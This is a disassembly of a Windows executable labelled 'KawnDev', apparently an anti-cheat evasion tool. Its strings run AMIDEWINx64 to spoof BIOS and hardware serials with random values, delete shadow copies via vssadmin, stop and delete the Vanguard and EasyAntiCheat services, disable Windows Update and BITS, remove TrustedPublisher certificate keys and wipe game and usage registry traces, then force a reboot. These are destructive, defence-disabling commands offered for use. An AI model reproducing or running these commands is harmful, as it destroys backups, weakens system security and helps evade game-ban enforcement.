call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CT__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CA__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CS__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CV__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CO__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CPC__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CSK__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CH_4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__SU_auto
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__PSN__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__PAT__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__PPN__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__OS_1__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__SCO_1__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__PAT__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__PSN__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CSKH__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CHH__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CPCH__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CHH__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CVH__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CTH__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CMH__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CSK__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CPC__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CH__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CO__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__ID__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__SM__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Temp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.volumeid_C:_KAWN_6D84
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, Ordinal_301
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Beep]
mov r9d, 0x40
lea r8, str.KawnDev
lea rdx, str.PC_Restarted
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.shutdown___r___o___f___t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4d0]
call fcn.1400407b0
add rbx, 0x40
cmp rbx, rdi
jne 0x140044590
mov eax, dword [0x1402b4e88]
lea r13, [0x1402b51c8]
cmp eax, 1
jne 0x1400449cc
mov rdi, qword [0x1402b5198]
mov rbx, qword [0x1402b5190]
cmp rbx, rdi
je 0x140045aac
movabs r13, 0x6f70532044495748
nop dword [rax]
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x490]
call fcn.14003f9e0
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x4b0]
call fcn.14003f9e0
cmp qword [rbp + 0x4a8], 0xf
lea rax, [rbp + 0x490]
cmova rax, qword [rbp + 0x490]
cmp qword [rbp + 0x4a0], 0xc
jne 0x1400449aa
cmp qword [rax], r13
jne 0x1400449aa
cmp dword [rax + 8], 0x7265666f
jne 0x1400449aa
mov r9d, 0x40
lea r8, str.KawnDev
lea rdx, str.VGC_Bypass_not_supported.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x490]
call fcn.1400407b0
add rbx, 0x40
cmp rbx, rdi
jne 0x140044940
mov eax, dword [0x1402b4e88]
lea r13, [0x1402b51c8]
cmp eax, 2
jne 0x140045aac
mov rdi, qword [0x1402b5190]
mov r14, qword [0x1402b5198]
cmp rdi, r14
je 0x140045aac
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x440]
call fcn.14003f9e0
lea rdx, [rdi + 0x20]
lea rcx, [rbp + 0x460]
call fcn.14003f9e0
mov rsi, qword [rbp + 0x458]
lea rax, [rbp + 0x440]
mov rbx, qword [rbp + 0x440]
cmp rsi, 0xf
cmova rax, rbx
cmp qword [rbp + 0x450], 0xc
jne 0x140045a27
movabs rcx, 0x6f70532044495748
cmp qword [rax], rcx
jne 0x140045a27
cmp dword [rax + 8], 0x7265666f
jne 0x140045a27
mov r9d, 0x40
lea r8, str.KawnDev
lea rdx, str.Cleaner_started
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.vssadmin_delete_shadows__all__Quiet
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_cpuz150
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_vgt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_vgrl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_vgk
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_vgc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_vg
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_delete_vgrl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_delete_vgk
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_delete_vgc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_delete_vg
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_vgtray.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_delete_cpuz150
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_wuauserv_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_wuauserv
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_bits_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_bits
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_dosvc_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_dosvc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_UsoSvc_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_UsoSvc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplicationsVALORANT_Win64_Shipping.exe___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistFA99DFC7_6AC2_453A_A5E2_5E2AFF4507BDCount___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistF4E57C4B_2036_45F0_A9AB_443BCFE33D9FCount___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistF2A1CB5A_E3CC_4A2E_AF9D_505A7009D442Count___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistCEBFF5CD_ACE2_4F4F_9178_9926F41749EACount___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistCAA59E3C_4792_41A5_9909_6A6A8D32490ECount___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistBCB48336_4DDD_48FF_BB0B_D3190DACB3E2Count___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistB267E3AD_A825_4A09_82B9_EEC22AA3B847Count___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistA3D53349_6E61_4557_8FC7_0028EDCEEBF6Count___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssist9E04CAB2_CC14_11DF_BB8C_A2F1DED72085Count___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CLASSES_ROOT_riotclient___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSoftwareWOW6432NodeEpic_Games___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSoftwareClassescom.epicgames.launcher___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_USERSS_1_5_21_2097722829_2509645790_3642206209_1001SoftwareEpic_Games___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSoftwareEpic_Games___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSoftwareEpic_GamesUnreal_EngineIdentifiers___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSoftwareEpic_GamesUnreal_EngineHardware_Survey___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESYSTEMHardwareConfig___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESystemCurrentControlSetControl___v_SystemStartOptions__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSoftwareClassesInstallerDependencies___v_MSICache__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CURRENT_USERSoftwareMicrosoftDirect3D___v_WHQLClass__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_CLASSES_ROOTcom.epicgames.launcher___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREClassescom.epicgames.launcher___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeEpic_Games___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeEpicGames___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREEpicGames___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREEpic_Games___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINEHardwareDescriptionSystemCentralProcessor0___v_ProcessorNameString__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREClassescom.epicgames.launcher___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREEpic_Games___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREEpicGames___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeEpic_Games___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeEpicGames___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESYSTEMHardwareConfig___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESoftwareEpic_Games___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_LOCAL_MACHINESystemCurrentControlSetControl___v_SystemStartOptions__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKEY_USERSS_1_5_21_2097722829_2509645790_3642206209_1001SoftwareEpic_Games___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsCurrentVersionAppModelPackageRepositoryPackagesMicrosoft.XboxGameOverlay_1.41.24001.0_neutral_split.scale_100_8wekyb3d8bbwe___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsCurrentVersionAppModelPackageRepositoryPackagesMicrosoft.XboxGameOverlay_1.41.24001.0_neutral__8wekyb3d8bbwe___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsCurrentVersionAppModelPackageRepositoryPackagesMicrosoft.XboxGameOverlay_1.41.24001.0_x64__8wekyb3d8bbwe___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsCurrentVersionAppModelPackageRepositoryPackagesMicrosoft.XboxGameOverlay_1.41.24001.0_x64__8wekyb3d8bbweMicrosoft.XboxGameOverlay_8wekyb3d8bbwe_App___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsCurrentVersionAppModelPackageRepositoryPackagesMicrosoft.XboxGameOverlay_1.41.24001.0_x64__8wekyb3d8bbweMicrosoft.XboxGameOverlay_8wekyb3d8bbwe_Appwindows.protocol___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsCurrentVersionAppModelPackageRepositoryPackagesMicrosoft.XboxGameOverlay_1.41.24001.0_x64__8wekyb3d8bbweMicrosoft.XboxGameOverlay_8wekyb3d8bbwe_Appwindows.protocolms_gamebarservices___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplicationsFortniteClient_Win64_Shipping.exe___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftSecurityManagerCapAuthzApplicationsExMicrosoft.XboxGameOverlay_1.41.24001.0_x64__8wekyb3d8bbwe___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationData93___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationIndexPackage181___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationIndexPackage18193___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationIndexPackageAndPackageRelativeApplicationId181App___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationIndexPackageAndPackageRelativeApplicationId181App93___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationUserData_ac___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationUserData_ad___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationUserIndexUserAndApplication393___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationUserIndexUserAndApplication393_ac___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationUserIndexUserAndApplication493___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCacheApplicationUserIndexUserAndApplication493_ad___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageData180___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageData181___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageData182___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageIndexPackageFamily4e180___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageIndexPackageFamily4e181___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageIndexPackageFamily4e182___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageIndexPackageFullNameMicrosoft.XboxGameOverlay_1.41.24001.0_neutral_split.scale_100_8wekyb3d8bbwe___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageIndexPackageFullNameMicrosoft.XboxGameOverlay_1.41.24001.0_neutral_split.scale_100_8wekyb3d8bbwe182___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageIndexPackageFullNameMicrosoft.XboxGameOverlay_1.41.24001.0_neutral__8wekyb3d8bbwe___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageIndexPackageFullNameMicrosoft.XboxGameOverlay_1.41.24001.0_neutral__8wekyb3d8bbwe180___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageIndexPackageFullNameMicrosoft.XboxGameOverlay_1.41.24001.0_x64__8wekyb3d8bbwe___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageIndexPackageFullNameMicrosoft.XboxGameOverlay_1.41.24001.0_x64__8wekyb3d8bbwe181___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageUserData1a80___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageUserData1a81___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSOFTWAREMicrosoftWindowsCurrentVersionAppModelStateRepositoryCachePackageUserIndexPackageFamilyAppUser1890data___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSYSTEMControlSet001ServicesEasyAntiCheat___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSYSTEMControlSet001ServicesEasyAntiCheatSecurity___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSYSTEMCurrentControlSetServicesEasyAntiCheat___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSYSTEMCurrentControlSetServicesEasyAntiCheatSecurity___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKU.DEFAULTSoftwareMicrosoftSystemCertificatesTrustedPublisher___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKU.DEFAULTSoftwareMicrosoftSystemCertificatesTrustedPublisherCertificates___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKU.DEFAULTSoftwareMicrosoftSystemCertificatesTrustedPublisherCRLs___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKU.DEFAULTSoftwareMicrosoftSystemCertificatesTrustedPublisherCTLs___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKU.DEFAULTSoftwarePoliciesMicrosoftSystemCertificatesTrustedPublisher___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKU.DEFAULTSoftwarePoliciesMicrosoftSystemCertificatesTrustedPublisherCertificates___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKU.DEFAULTSoftwarePoliciesMicrosoftSystemCertificatesTrustedPublisherCRLs___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKU.DEFAULTSoftwarePoliciesMicrosoftSystemCertificatesTrustedPublisherCTLs___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftInternet_ExplorerLowRegistryAudioPolicyConfigPropertyStore5e4eddc4_0___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftInternet_ExplorerLowRegistryAudioPolicyConfigPropertyStore5e4eddc4_0219ED5A0_9CBF_4F3A_B927_37C9E5C5F14F___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerStreams0___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000205B6___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000403D6___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000405DE___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:0000000000060286___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:000000000009042E___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000A03B4___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
